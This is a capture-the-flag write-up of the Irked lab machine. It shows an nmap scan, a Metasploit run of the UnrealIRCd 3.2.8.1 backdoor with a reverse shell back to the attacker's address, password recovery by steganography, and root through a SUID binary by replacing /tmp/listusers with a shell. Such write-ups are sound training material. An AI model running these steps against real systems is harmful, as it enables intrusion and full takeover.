n0nuser

Irked

Last updated on

Irked icon
Contents

Scanning

nmap -sC -sV -Pn -p- -T5 irked.htb | tee nmap.txt

Output:

22/tcp    open  ssh     OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)
| ssh-hostkey: 
|   1024 6a:5d:f5:bd:cf:83:78:b6:75:31:9b:dc:79:c5:fd:ad (DSA)
|   2048 75:2e:66:bf:b9:3c:cc:f7:7e:84:8a:8b:f0:81:02:33 (RSA)
|   256 c8:a3:a2:5e:34:9a:c4:9b:90:53:f7:50:bf:ea:25:3b (ECDSA)
|_  256 8d:1b:43:c7:d0:1a:4c:05:cf:82:ed:c1:01:63:a2:0c (ED25519)
80/tcp    open  http    Apache httpd 2.4.10 ((Debian))
|_http-server-header: Apache/2.4.10 (Debian)
|_http-title: Site doesn't have a title (text/html).
111/tcp   open  rpcbind 2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100024  1          38536/tcp6  status
|   100024  1          49174/tcp   status
|   100024  1          54286/udp6  status
|_  100024  1          57650/udp   status
8067/tcp  open  irc     UnrealIRCd
49174/tcp open  status  1 (RPC #100024)
65534/tcp open  irc     UnrealIRCd

Enumeration

We see the service UnrealIRCd which is the oddest one, in the HTTP there’s no more than an image.

We try to connect to the IRC with Weechat:

/server add irked irked.htb/8067 -autoconnect
/connect irked

It says it’s running Unreal3.2.8.1 and that the IRC network is called ROXNet

Exploitation

Doing a searchsploit we find some vulnerabilities for 3.2.8.1 version:

UnrealIRCd 3.2.8.1 - Backdoor Command Execution (Metasploit)                                                         | linux/remote/16922.rb
UnrealIRCd 3.2.8.1 - Local Configuration Stack Overflow                                                              | windows/dos/18011.txt
UnrealIRCd 3.2.8.1 - Remote Downloader/Execute                                                                       | linux/remote/13853.pl

We use the first one with Metasploit:

set RHOST irked.htb
set RPORT 8067
set LHOST 10.10.14.11
set LPORT 4444
set payload cmd/unix/reverse
run

We get the session as ircd.

Privilege Escalation

User

Investigating the home directory we see the user djmardov, and doing an ls -laR there are 2 interesting files in Documents: .backup y el user.txt.

.backup contains:

Super elite steg backup pw
UPupDOWNdownLRlrBAbaSSss

The text makes us understand that that’s the password for a steganography image, we take the one from the HTTP port and:

steghide extract -sf irked.jpg

We get the pass: Kab6h+m+bbp2J:HG

With this we can SSH into the machine or change to user djmardov with su.

Root

Looking at the SUID files (find / -perm -u=s -type f 2>/dev/null) we see an odd one: /usr/bin/viewuser. When executing it, it lists some users and runs a script in /tmp/listusers as root.

The way to get root access in this situation is to hijack the listusers script with a reverse shell or to a bash shell to get instant access, like so:

cp /bin/sh /tmp/listusers

We are root!